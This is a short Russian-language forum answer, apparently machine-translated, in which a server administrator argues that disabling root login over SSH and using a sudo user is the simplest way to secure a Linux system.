FWIW, я управлял десятками серверов Linux за эти годы (десятилетия?) и по опыту знаем, что простое отключение root - и установка нового пользователя с правами sudo - это самый простой и самый простой способ защитить любую систему Linux. Мне никогда не приходилось сталкиваться с какими-либо компромиссами через SSH после отключения root . И да, вы можете увидеть попытки войти через auth.log но они бессмысленны; если root отключен, то эти попытки никогда не приведут ни к чему. Просто сидеть сложа руки и смотреть, как попытки бесконечно проваливаются!

Всё ещё ищете ответ? Посмотрите другие вопросы с метками .